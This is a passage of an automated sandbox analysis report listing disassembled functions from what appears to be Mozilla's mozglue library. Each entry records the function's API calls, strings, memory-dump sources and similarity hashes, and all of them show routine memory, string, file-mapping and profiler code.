Instruction Fuzzy Hash: 70B1D0B1B012099BDF04CF95C4917AEBBB9BF94318F254019D506ABF80D731EA55CBE2

Function 6C97C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C5A3
WideCharToMultiByte.KERNEL32 ref: 6C97C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C97C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C97CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C97CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C97CAA5

Strings

0, xrefs: 6C97D30A
(null), xrefs: 6C97C596

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction ID: 1e302c6cb67bae7911c58ead7639e4d65c65649c2d40d78be8b09cfda47b0d90
Opcode Fuzzy Hash: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction Fuzzy Hash: FFA1AC3160A342DFDB20DF28C58475ABBF5AF89748F14892DE889D7741DB31E905CBA2

Function 6C97C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C97C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C97C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C97C891

Strings

inf, xrefs: 6C97C78F
nan, xrefs: 6C97C7A8
INF, xrefs: 6C97C794
NAN, xrefs: 6C97C7AD

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction ID: 2f305e3f688d0ed2e8eb71c9c224969827342a6f33d9ce131dc7cd59fbb20936
Opcode Fuzzy Hash: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction Fuzzy Hash: 825181716097408BDB10DF6CC48129AFBF4BF9A304F008A2DE9D5A7651E770D985CB52

Function 6C954480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C994843,?), ref: 6C9545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C994843,?), ref: 6C95468A
free.MOZGLUE(?,?,?,?,?,?,6C994843,?), ref: 6C9546C9
free.MOZGLUE(?), ref: 6C9546EF
free.MOZGLUE(?), ref: 6C954712
free.MOZGLUE(?), ref: 6C954735
free.MOZGLUE(?), ref: 6C954758
free.MOZGLUE(?), ref: 6C95477B
free.MOZGLUE(?), ref: 6C95479E

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction ID: d983f65b9de8d24cbfc5b157c8a1ff2378b82593203f650b9622bf2c08de5b40
Opcode Fuzzy Hash: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction Fuzzy Hash: BFB1F171A011118FDB58CF3CC89076D76A6AF42328F980668E916DBBC6D730D8748F92

Function 6C9BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9BAC52
CreateFileMappingW.KERNEL32 ref: 6C9BAC7D
GetSystemInfo.KERNEL32 ref: 6C9BAC98
MapViewOfFile.KERNEL32 ref: 6C9BACB0
GetSystemInfo.KERNEL32 ref: 6C9BACCD
MapViewOfFile.KERNEL32 ref: 6C9BAD05
UnmapViewOfFile.KERNEL32 ref: 6C9BAD1C
CloseHandle.KERNEL32 ref: 6C9BAD28
UnmapViewOfFile.KERNEL32 ref: 6C9BAD37
CloseHandle.KERNEL32 ref: 6C9BAD43
CloseHandle.KERNEL32 ref: 6C9BAD67

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction ID: 9df12873fcc3f648080faf1df3ee66efcb02c3aae138d4fd81af54b2714c495e
Opcode Fuzzy Hash: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction Fuzzy Hash: 0F3180B19087059FDB00AF7CC64826EBBF0BF85305F114A2DE985A7211EF70A588CB92

Function 6C969620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

NtMapViewOfSection, xrefs: 6C969701
ntdll.dll, xrefs: 6C9696E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
MapViewOfFileNuma2, xrefs: 6C9697B1

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction ID: 71d99af88873ccbb9ca1b5f81e71a8ad70b3f8e4eb83b59b7db1030189233b34
Opcode Fuzzy Hash: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction Fuzzy Hash: C741B5717046069BEF00CFA5D885AD6B7B4FB49B68F228529ED15A7B80D730F844CBA1

Function 6C951E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951EC1
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951EE1
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C951F38
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C951F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C951F83
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FC0
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951FE2
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C952019

Strings

MOZ_CRASH(), xrefs: 6C952000

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction ID: c0ba08201beb5524a2ff095b18dfa91ea132a3dff9d0115627b3d99dc1c6d19f
Opcode Fuzzy Hash: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction Fuzzy Hash: DA41F371B05B0A8BDB40DFB8C884B6A7BB5EB5A748F110129ED04A7740D771E854CBD5

Function 6C9A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C9A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A0041
GetCurrentThreadId.KERNEL32 ref: 6C9A0075
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9A0090
free.MOZGLUE(?), ref: 6C9A0104
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9A005B

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction ID: 9fc5920f83300a954fcd4109903853ec2444afa5f56ec9c2042d045a4a361f37
Opcode Fuzzy Hash: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction Fuzzy Hash: 5E41EFB1604A54DFCB10CF64C844A9ABBF0FF69318F14491EE94AA3B40DB31F955CBA2

Function 6C967E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C967EA7
malloc.MOZGLUE(00000001), ref: 6C967EB3

Part of subcall function 6C96CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C96CB49
Part of subcall function 6C96CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C96CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C967EC4
mozalloc_abort.MOZGLUE(?), ref: 6C967F19
malloc.MOZGLUE(?), ref: 6C967F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C967F4D

Strings

d, xrefs: 6C967F89

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction ID: f71660a51bfc7c33d6af84959794149133f3c219dc61652618b1c921e0ce54c1
Opcode Fuzzy Hash: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction Fuzzy Hash: 77310962E0468897EB009B29CC049FEB778EFA6208F155629ED4957752FB30E6C8C391

Function 6C963E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C963EEE
RtlFreeHeap.NTDLL ref: 6C963FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C964006
RtlFreeHeap.NTDLL ref: 6C9640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640C2
RtlFreeHeap.NTDLL ref: 6C964134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964157

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 674c412cf7787f45c8908d4493b16a1839ee3ed121a15ec08fd5a2d23c6253d4
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: ECA193B1A00215CFEB40CF6AC880669BBF5FF58308F254159D909AFB82D771E956CFA1

Function 6C952030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C973F47,?,?,?,6C973F47,6C971A70,?), ref: 6C95207F
memset.VCRUNTIME140(?,000000E5,6C973F47,?,6C973F47,6C971A70,?), ref: 6C9520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C973F47,6C971A70,?), ref: 6C95211A
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C973F47,6C971A70,?), ref: 6C9521BA
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C9521E0
LeaveCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C952253, 6C952268
MOZ_CRASH(), xrefs: 6C95227D

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction ID: 828c2a068095a41296b05bd92f71a6f3781519bce968bec21777f9496497eda7
Opcode Fuzzy Hash: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction Fuzzy Hash: FA61E432F04A068FCB08CB68C88976E77B5AF95318F694239E524B7A84D770E950CB91

Function 6C9548E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C99483A,?), ref: 6C954ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C99483A,?), ref: 6C954AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C99483A,?), ref: 6C954A82

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C99483A,?), ref: 6C954A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C99483A,?), ref: 6C954A35

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C99483A,?), ref: 6C954A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C99483A,?), ref: 6C954AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C99483A,?), ref: 6C954B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C99483A,?), ref: 6C954B2C

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: c836c6404b59a98b96fd366800bf56677edf28e9e2258f747483ae3a99bfd716
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 9E716AB19007469FCB94CF68C490AAAB7F5FF18308B504A3EE15A9BF41E731E565CB81

Function 6C9A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A8273), ref: 6C9A9D65
free.MOZGLUE(6C9A8273,?), ref: 6C9A9D7C
free.MOZGLUE(?,?), ref: 6C9A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A9E0F
free.MOZGLUE(6C9A946B,?,?), ref: 6C9A9E24
free.MOZGLUE(?,?,?), ref: 6C9A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9A9EC8
free.MOZGLUE(6C9A946B,?,?,?), ref: 6C9A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9A9EF5

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction ID: cc66e0434c47908e726fe05c1e405c7b9c056a102bd7088a109864a2d0e3a87c
Opcode Fuzzy Hash: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction Fuzzy Hash: 6271C0B090AB419BD712CF58C48055BF3F4FFA9315B558619E84A5BB02EB31E8C6CB91

Function 6C9ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9ADDCF

Part of subcall function 6C98FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98FA4B

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE0D
free.MOZGLUE(00000000), ref: 6C9ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF32

Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADB86
Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF65
free.MOZGLUE(?), ref: 6C9ADF80

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction ID: 07a09c6d8a3f1bb89c0f9a03b58a6716fb9ee755bcb51460da20ac7cc5e3b0ad
Opcode Fuzzy Hash: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction Fuzzy Hash: E751C8736056119BD7219B98C8806AFB376BFA5308FA5051CDC5A63B00D731F95BCB92

Function 6C9B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DA4
